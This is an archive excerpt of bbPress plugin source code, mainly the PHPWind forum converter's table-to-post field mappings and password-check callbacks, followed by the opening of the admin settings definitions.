	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'sticky';       // PunBB Sticky 'topic_sticky = 1'
				break;

			case 0  :
			default :
				$status = 'normal';       // PunBB Normal Topic 'topic_sticky = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count PunBB v1.4.2 topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}
}
includes/admin/converters/PHPWind.php000066600000037717151771460310013646 0ustar00<?php

/**
 * bbPress PHPWind Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of PHPWind Forum converter.
 *
 * @since 2.5.0 bbPress (r5142)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/phpwind
 */
class PHPWind extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'bbs_forum',
			'from_fieldname' => 'fid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum',
			'from_fieldname'  => 'parentid',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		// Note: We join the 'bbs_forum_statistics' table because 'bbs_forum' table does not include topic and reply counts.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum_statistics',
			'from_fieldname'  => 'threads',
			'join_tablename'  => 'bbs_forum',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (fid)',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		// Note: We join the 'bbs_forum_statistics' table because 'bbs_forum' table does not include topic and reply counts.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum_statistics',
			'from_fieldname'  => 'posts',
			'join_tablename'  => 'bbs_forum',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (fid)',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		// Note: We join the 'bbs_forum_statistics' table because 'bbs_forum' table does not include topic and reply counts.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum_statistics',
			'from_fieldname'  => 'threads',
			'join_tablename'  => 'bbs_forum',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (fid)',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		// Note: We join the 'bbs_forum_statistics' table because 'bbs_forum' table does not include topic and reply counts.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum_statistics',
			'from_fieldname'  => 'posts',
			'join_tablename'  => 'bbs_forum',
			'join_type'       => 'LEFT',
			'join_expression' => 'USING (fid)',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'bbs_forum',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum',
			'from_fieldname'  => 'descrip',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'bbs_forum',
			'from_fieldname' => 'vieworder',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = category or Forum = forum, sub or sub2,  Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_forum',
			'from_fieldname'  => 'type',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);
		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'bbs_forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'bbs_forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'bbs_forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'bbs_forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'bbs_threads',
			'from_fieldname' => 'tid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'fid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'created_userid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'created_ip',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'bbs_threads_content' table because 'bbs_threads' table does not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads_content',
			'from_fieldname'  => 'content',
			'join_tablename'  => 'bbs_threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid)',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'bbs_threads',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'fid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'created_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'created_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'lastpost_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'lastpost_time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'lastpost_time',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open or Closed, PHPWind v9.x 0=no, 1=closed & 2=open)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_threads',
			'from_fieldname'  => 'tpcstatus',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * PHPWind v9.x Forums do not support topic tags out of the box
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'bbs_posts',
			'from_fieldname' => 'pid',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'fid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'tid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'bbs_posts',
			'from_fieldname' => 'created_ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'created_userid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'content',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'tid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'created_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'created_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'created_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'bbs_posts',
			'from_fieldname'  => 'created_time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'uid',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password'
//			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
/*		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'pass',
			'to_type'        => 'user',
			'to_fieldname'   => ''
		);
*/
		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'      => 'user',
			'to_fieldname' => '_bbp_class',
			'default'      => 'PHPWind'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'user',
			'from_fieldname'  => 'regdate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'user',
			'from_fieldname' => 'realname',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from PHPWind v9.x Capitalised case to WordPress's non-capatilise case strings.
	 *
	 * @param int $status PHPWind v9.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 1 ) {
		switch ( $status ) {
			case 'category' :
				$status = 'category';
				break;

			case 'sub' :
				$status = 'forum';
				break;

			case 'sub2' :
				$status = 'forum';
				break;

			case 'forum' :
			default :
				$status = 'forum';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from PHPWind v9.x numerics to WordPress's strings.
	 *
	 * @param int $status PHPWind v9.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 2 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 2  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count PHPWind v9.x topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

}
includes/admin/settings.php000066600000216554151771460310012041 0ustar00<?php

/**
 * bbPress Admin Settings
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Sections ******************************************************************/

/**
 * Get the Forums settings sections.
 *
 * @since 2.1.0 bbPress (r4001)
 *
 * @return array
 */
function bbp_admin_get_settings_sections() {

	// Filter & return
	return (array) apply_filters( 'bbp_admin_get_settings_sections', array(

		// Settings
		'bbp_settings_users' => array(
			'title'    => esc_html__( 'Forum User Settings', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_user_section',
			'page'     => 'discussion'
		),
		'bbp_settings_features' => array(
			'title'    => esc_html__( 'Forum Features', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_features_section',
			'page'     => 'discussion'
		),
		'bbp_settings_theme_compat' => array(
			'title'    => esc_html__( 'Forum Theme Packages', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_subtheme_section',
			'page'     => 'general'
		),
		'bbp_settings_per_page' => array(
			'title'    => esc_html__( 'Topics and Replies Per Page', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_per_page_section',
			'page'     => 'reading'
		),
		'bbp_settings_per_rss_page' => array(
			'title'    => esc_html__( 'Topics and Replies Per RSS Page', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_per_rss_page_section',
			'page'     => 'reading',
		),
		'bbp_settings_root_slugs' => array(
			'title'    => esc_html__( 'Forum Root Slug', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_root_slug_section',
			'page'     => 'permalink'
		),
		'bbp_settings_single_slugs' => array(
			'title'    => esc_html__( 'Forum Single Slugs', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_single_slug_section',
			'page'     => 'permalink',
		),
		'bbp_settings_user_slugs' => array(
			'title'    => esc_html__( 'Forum User Slugs', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_user_slug_section',
			'page'     => 'permalink',
		),

		// Extend
		'bbp_settings_buddypress' => array(
			'title'    => esc_html__( 'Forum Integration for BuddyPress', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_buddypress_section',
			'page'     => 'buddypress',
		),
		'bbp_settings_akismet' => array(
			'title'    => esc_html__( 'Forum Integration for Akismet', 'bbpress' ),
			'callback' => 'bbp_admin_setting_callback_akismet_section',
			'page'     => 'discussion'
		),

		// Converter
		'bbp_converter_connection' => array(
			'title'    => esc_html__( 'Database Settings', 'bbpress' ),
			'callback' => 'bbp_converter_setting_callback_main_section',
			'page'     => 'converter'
		),
		'bbp_converter_options' => array(
			'title'    => esc_html__( 'Options', 'bbpress' ),
			'callback' => 'bbp_converter_setting_callback_options_section',
			'page'     => 'converter'
		)
	) );
}

/**
 * Get all of the settings fields.
 *
 * @since 2.1.0 bbPress (r4001)
 *
 * @return array
 */
function bbp_admin_get_settings_fields() {

	// Filter & return
	return (array) apply_filters( 'bbp_admin_get_settings_fields', array(

		/** User Section ******************************************************/

		'bbp_settings_users' => array(

			// Default role setting
			'_bbp_default_role' => array(
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array()
			),

			// Allow global access
			'_bbp_allow_global_access' => array(
				'title'             => esc_html__( 'Roles', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_global_access',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow content throttling
			'_bbp_allow_content_throttle' => array(
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Throttle setting
			'_bbp_throttle_time' => array(
				'title'             => esc_html__( 'Flooding', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_throttle',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow content editing
			'_bbp_allow_content_edit' => array(
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Edit lock setting
			'_bbp_edit_lock' => array(
				'title'             => esc_html__( 'Editing', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_editlock',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow anonymous posting setting
			'_bbp_allow_anonymous' => array(
				'title'             => esc_html__( 'Anonymous', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_anonymous',
				'sanitize_callback' => 'intval',
				'args'              => array()
			)
		),

		/** Features Section **************************************************/

		'bbp_settings_features' => array(

			// Allow auto embedding setting
			'_bbp_use_autoembed' => array(
				'title'             => esc_html__( 'Auto-embed links', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_use_autoembed',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Set reply threading level
			'_bbp_thread_replies_depth' => array(
				'title'             => esc_html__( 'Reply Threading', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_thread_replies_depth',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow threaded replies
			'_bbp_allow_threaded_replies' => array(
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow topic and reply revisions
			'_bbp_allow_revisions' => array(
				'title'             => esc_html__( 'Revisions', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_revisions',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow favorites setting
			'_bbp_enable_favorites' => array(
				'title'             => esc_html__( 'Favorites', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_favorites',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow subscriptions setting
			'_bbp_enable_subscriptions' => array(
				'title'             => esc_html__( 'Subscriptions', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_subscriptions',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow engagements setting
			'_bbp_enable_engagements' => array(
				'title'             => esc_html__( 'Engagements', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_engagements',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow topic tags
			'_bbp_allow_topic_tags' => array(
				'title'             => esc_html__( 'Topic tags', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_topic_tags',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow topic tags
			'_bbp_allow_search' => array(
				'title'             => esc_html__( 'Search', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_search',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow fancy editor setting
			'_bbp_use_wp_editor' => array(
				'title'             => esc_html__( 'Post Formatting', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_use_wp_editor',
				'args'              => array(),
				'sanitize_callback' => 'intval'
			),

			// Allow per-forum moderators
			'_bbp_allow_forum_mods' => array(
				'title'             => esc_html__( 'Forum Moderators', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_forum_mods',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Allow moderators to edit users
			'_bbp_allow_super_mods' => array(
				'title'             => esc_html__( 'Super Moderators', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_super_mods',
				'sanitize_callback' => 'intval',
				'capability'        => 'edit_users',
				'args'              => array()
			)
		),

		/** Theme Packages ****************************************************/

		'bbp_settings_theme_compat' => array(

			// Theme package setting
			'_bbp_theme_package_id' => array(
				'title'             => esc_html__( 'Current Package', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_subtheme_id',
				'sanitize_callback' => 'esc_sql',
				'args'              => array()
			)
		),

		/** Per Page Section **************************************************/

		'bbp_settings_per_page' => array(

			// Topics per page setting
			'_bbp_topics_per_page' => array(
				'title'             => esc_html__( 'Topics', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_topics_per_page',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for' => '_bbp_topics_per_page' )
			),

			// Replies per page setting
			'_bbp_replies_per_page' => array(
				'title'             => esc_html__( 'Replies', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_replies_per_page',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for' => '_bbp_replies_per_page' )
			)
		),

		/** Per RSS Page Section **********************************************/

		'bbp_settings_per_rss_page' => array(

			// Topics per page setting
			'_bbp_topics_per_rss_page' => array(
				'title'             => esc_html__( 'Topics', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_topics_per_rss_page',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for' => '_bbp_topics_per_rss_page' )
			),

			// Replies per page setting
			'_bbp_replies_per_rss_page' => array(
				'title'             => esc_html__( 'Replies', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_replies_per_rss_page',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for' => '_bbp_replies_per_rss_page' )
			)
		),

		/** Front Slugs *******************************************************/

		'bbp_settings_root_slugs' => array(

			// Root slug setting
			'_bbp_root_slug' => array(
				'title'             => esc_html__( 'Forum Root', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_root_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for' => '_bbp_root_slug' )
			),

			// Include root setting
			'_bbp_include_root' => array(
				'title'             => esc_html__( 'Forum Prefix', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_include_root',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// What to show on Forum Root
			'_bbp_show_on_root' => array(
				'title'             => esc_html__( 'Forum root should show', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_show_on_root',
				'sanitize_callback' => 'sanitize_text_field',
				'args'              => array( 'label_for'=>'_bbp_show_on_root' )
			),
		),

		/** Single Slugs ******************************************************/

		'bbp_settings_single_slugs' => array(

			// Forum slug setting
			'_bbp_forum_slug' => array(
				'title'             => esc_html__( 'Forum', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_forum_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_forum_slug' )
			),

			// Topic slug setting
			'_bbp_topic_slug' => array(
				'title'             => esc_html__( 'Topic', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_topic_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_topic_slug' )
			),

			// Topic tag slug setting
			'_bbp_topic_tag_slug' => array(
				'title'             => esc_html__( 'Topic Tag', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_topic_tag_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_topic_tag_slug' )
			),

			// View slug setting
			'_bbp_view_slug' => array(
				'title'             => esc_html__( 'Topic View', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_view_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_view_slug' )
			),

			// Reply slug setting
			'_bbp_reply_slug' => array(
				'title'             => _x( 'Reply', 'noun', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_reply_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_reply_slug' )
			),

			// Edit slug setting
			'_bbp_edit_slug' => array(
				'title'             => esc_html__( 'Edit', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_edit_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_edit_slug' )
			),

			// Search slug setting
			'_bbp_search_slug' => array(
				'title'             => esc_html__( 'Search', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_search_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_search_slug' )
			)
		),

		/** User Slugs ********************************************************/

		'bbp_settings_user_slugs' => array(

			// User slug setting
			'_bbp_user_slug' => array(
				'title'             => esc_html__( 'User Base', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_user_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_user_slug' )
			),

			// Topics slug setting
			'_bbp_topic_archive_slug' => array(
				'title'             => esc_html__( 'Topics Started', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_topic_archive_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_topic_archive_slug' )
			),

			// Replies slug setting
			'_bbp_reply_archive_slug' => array(
				'title'             => esc_html__( 'Replies Created', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_reply_archive_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_reply_archive_slug' )
			),

			// Favorites slug setting
			'_bbp_user_favs_slug' => array(
				'title'             => esc_html__( 'Favorite Topics', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_user_favs_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_user_favs_slug' )
			),

			// Subscriptions slug setting
			'_bbp_user_subs_slug' => array(
				'title'             => esc_html__( 'Subscriptions', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_user_subs_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_user_subs_slug' )
			),

			// Engagements slug setting
			'_bbp_user_engs_slug' => array(
				'title'             => esc_html__( 'Engagements', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_user_engagements_slug',
				'sanitize_callback' => 'bbp_sanitize_slug',
				'args'              => array( 'label_for'=>'_bbp_user_engs_slug' )
			)
		),

		/** BuddyPress ********************************************************/

		'bbp_settings_buddypress' => array(

			// Are group forums enabled?
			'_bbp_enable_group_forums' => array(
				'title'             => esc_html__( 'Group Forums', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_group_forums',
				'sanitize_callback' => 'intval',
				'args'              => array()
			),

			// Group forums parent forum ID
			'_bbp_group_forums_root_id' => array(
				'title'             => esc_html__( 'Primary Forum', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_group_forums_root_id',
				'sanitize_callback' => 'intval',
				'args'              => array( 'label_for'=>'_bbp_group_forums_root_id' )
			)
		),

		/** Akismet ***********************************************************/

		'bbp_settings_akismet' => array(

			// Should we use Akismet
			'_bbp_enable_akismet' => array(
				'title'             => esc_html__( 'Use Akismet', 'bbpress' ),
				'callback'          => 'bbp_admin_setting_callback_akismet',
				'sanitize_callback' => 'intval',
				'args'              => array()
			)
		),

		/** Converter Page ****************************************************/

		// Connection
		'bbp_converter_connection' => array(

			// System Select
			'_bbp_converter_platform' => array(
				'title'             => esc_html__( 'Select Platform', 'bbpress' ),
